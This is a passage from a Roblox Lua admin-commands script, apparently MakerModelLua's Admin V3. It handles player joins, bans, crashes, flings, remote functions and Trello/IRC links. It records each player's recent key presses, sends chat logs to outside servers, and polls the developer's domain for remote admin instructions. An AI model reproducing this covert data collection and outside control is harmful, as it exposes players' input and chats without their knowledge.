8899 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8900 break
8901 end
8902 end
8903 end
8904
8905 Player.Chatted:connect(function(Message) if Message ~= "" then
8906 CORE:Chatted(Message, Player)
8907 end end)
8908
8909 Player.Chatted:connect(function(Message) if Message ~= "" then
8910 CORE:Log(ChatLogs, Player, Message)
8911 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8912 end end)
8913
8914 for _,Name in pairs(Settings.Ranks.Banned) do
8915 if Player.Name == Name then
8916 CORE:Kick(Player)
8917 for _,Person in pairs(Server.Players:GetPlayers()) do
8918 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8919 end
8920 end
8921 end
8922 for _,Name in pairs(Settings.Ranks.Crashed) do
8923 if Player.Name == Name then
8924 CORE:Crash(Player)
8925 for _,Person in pairs(Server.Players:GetPlayers()) do
8926 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8927 end
8928 end
8929 end
8930 for _,Name in pairs(Settings.Ranks.Muted) do
8931 if Player.Name == Name then
8932 GUI:CoreGui(Player, "Chat", false)
8933 for _,Person in pairs(Server.Players:GetPlayers()) do
8934 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8935 end
8936 end
8937 end
8938 if Settings.ServerLocked == true then
8939 if PlayerAdmin == false then
8940 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8941 end
8942 end
8943
8944 if PlayerAdmin == false then
8945 if Player.AccountAge < Settings.MinimumAge then
8946 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8947 for _,Person in pairs(Server.Players:GetPlayers()) do
8948 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8949 end
8950 end
8951 end
8952
8953 if PlayerAdmin == false then
8954 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8955 table.insert(Settings.Ranks["Member"], Player.Name)
8956 PlayerAdmin = true
8957 Rank = "Member"
8958 end
8959 end
8960
8961 coroutine.wrap(function()
8962 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8963 local function SpawnActions(Character)
8964 if Flings[Player.Name] then
8965 CORE:FlingPlayer(Player)
8966 else
8967 GUI:CreateTaskBar(Player)
8968 end
8969 if Beeps[Player.Name] == true then
8970 SOUND:BeepPlayer(Player)
8971 end
8972 if Jails[Player.Name] then
8973 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8974 end
8975 if PermCommandBars[Player.Name] then
8976 GUI:CommandBar(Player)
8977 end
8978 end
8979 Player.CharacterAdded:connect(SpawnActions)
8980 SpawnActions(Player.Character)
8981 end)()
8982
8983 coroutine.wrap(function()
8984 Player:WaitForChild("PlayerGui")
8985 local Sounds = {}
8986 for _,Data in pairs(TextConverter.LetterSounds) do
8987 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8988 Sound:Play()
8989 table.insert(Sounds, Sound)
8990 end
8991 for _,Data in pairs(TextConverter.LongVowels) do
8992 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8993 Sound:Play()
8994 table.insert(Sounds, Sound)
8995 end
8996 wait(5)
8997 for _,Sound in pairs(Sounds) do
8998 Sound:Destroy()
8999 end
9000 Sounds = {}
9001 end)()
9002
9003 coroutine.wrap(function()
9004 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
9005 if IsSB then
9006 wait(1)
9007 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
9008 end
9009 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
9010 print("Executed ClientLog on "..Player.Name)
9011 if Settings.EnableTaskBar then
9012 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
9013 end
9014 end)()
9015
9016 coroutine.wrap(function()
9017 wait(7)
9018 Player:WaitForChild("PlayerGui")
9019 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
9020 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
9021 if Answer == "Ok" then
9022 MARKET:PromptPurchase(Player, AdminID)
9023 end
9024 end
9025 end)()
9026 end
9027end)() end
9028
9029-- Active stuff --
9030
9031CORE:UpdateAdmin()
9032CORE:FixSettings()
9033
9034ypcall(function()
9035 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
9036 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
9037 end
9038end)
9039
9040
9041Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
9042 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
9043 if PlayerAdmin == false then
9044 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
9045 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
9046 end
9047end end)
9048
9049--[[
9050ExecuteCommand.OnInvoke = function(Player, Command)
9051 if Player and Command then
9052 if type(Player) == "userdata" and Player:IsA("Player") then
9053 CORE:Chatted(Command, Player, true)
9054 end
9055 end
9056end
9057
9058ExecuteCode.OnInvoke = function(Source, Speaker)
9059 if type(Source) == "string" then
9060 ExecuteSafe(Source, Speaker)
9061 end
9062end
9063
9064ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9065 if Player and Command then
9066 if type(Player) == "userdata" and Player:IsA("Player") then
9067 CORE:Chatted(Command, Player, true)
9068 end
9069 end
9070end
9071]]
9072
9073KeyPressed.OnServerInvoke = function(Player, Key)
9074 if Player and Key then
9075 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9076 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9077 end
9078 end
9079end
9080
9081InputKey.OnServerInvoke = function(Player, KeyVal)
9082 if Player and KeyVal then
9083 if LastKeys[Player.UserId] then
9084 table.insert(LastKeys[Player.UserId], KeyVal)
9085 if #LastKeys[Player.UserId] > 20 then
9086 table.remove(LastKeys[Player.UserId], 1)
9087 end
9088 end
9089 end
9090end
9091
9092RankPlayerLocal.OnServerInvoke = function(Player)
9093 wait()
9094 local Request = PendingRequests[Player]
9095 if Request then
9096 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9097 if Settings.Ranks[Request[1]] then
9098 PendingRequests[Player] = nil
9099 table.insert(Settings.Ranks[Request[1]], Player.Name)
9100 GUI:TellAdmin(Player)
9101 end
9102 end
9103 end
9104end
9105
9106RankPlayerServer.OnInvoke = function(Player, Rank)
9107 if not RANK:IsAdmin(Player) then
9108 PendingRequests[Player] = {Rank, tick()}
9109 end
9110end
9111
9112IsAdmin.OnServerInvoke = function(Player)
9113 local IsFullAdmin = false
9114 for _,PName in pairs(Settings.Ranks["Owner"]) do
9115 if PName == Player.Name then IsFullAdmin = true end
9116 end
9117 for _,PName in pairs(Settings.Ranks["Admin"]) do
9118 if PName == Player.Name then IsFullAdmin = true end
9119 end
9120 return IsFullAdmin
9121end
9122
9123AddExploit.OnServerInvoke = CORE.AddExploit
9124AddExploitServer.OnInvoke = CORE.AddExploit
9125
9126KickClient.OnServerInvoke = function(PlayerClient)
9127 PlayerClient:Kick()
9128end
9129
9130ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9131 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9132end
9133
9134for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9135Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9136Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9137
9138coroutine.wrap(function()
9139 for _,ID in pairs(Icons) do
9140 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9141 end
9142end)()
9143
9144CORE:SetAbuseCommands()
9145
9146coroutine.wrap(function() SOUND:SyncSoundList() end)()
9147if not IsStudio then coroutine.wrap(function()
9148 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9149 REMOTE:GetRemoteData(true)
9150 REMOTE:CheckTrelloInfo()
9151 coroutine.wrap(function()
9152 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9153 REMOTE.RemoteConnection = true
9154 end
9155 end)()
9156 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9157 coroutine.wrap(function()
9158 if Settings.LinkedAccount ~= "" then
9159 local Request = nil
9160 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9161 if Request then
9162 REMOTE:HandleRequest(Request, true)
9163 end
9164 end
9165 end)()
9166 coroutine.wrap(function()
9167 wait(RemoteData.RemoteAdminWait)
9168 while REMOTE:GetAndSetWebData() do
9169 wait(RemoteData.RemoteAdminWait)
9170 end
9171 end)()
9172 coroutine.wrap(function()
9173 while wait(60) do
9174 REMOTE:GetRemoteData(true)
9175 REMOTE:CheckTrelloInfo()
9176 end
9177 end)()
9178end)() end
9179coroutine.wrap(function()
9180 if Settings.TrelloToken ~= "" then
9181 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9182 if #Trello.RequiredLists > 0 then
9183 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9184 if Trello.MainBoard.name then
9185 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9186 REMOTE:TrelloCacheData(Lists)
9187 REMOTE:TrelloHandleData(true)
9188 coroutine.wrap(function()
9189 wait(RemoteData.TrelloWait)
9190 while REMOTE:TrelloHandleData() do
9191 wait(RemoteData.TrelloWait)
9192 end
9193 end)()
9194 end
9195 end
9196 else
9197 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9198 end
9199end)()
9200coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9201 REMOTE:SendChatLog()
9202end end)()
9203coroutine.wrap(function() while true do
9204 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9205 if ThisDate then Date = ThisDate end
9206 wait(600)
9207end end)()
9208
9209print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")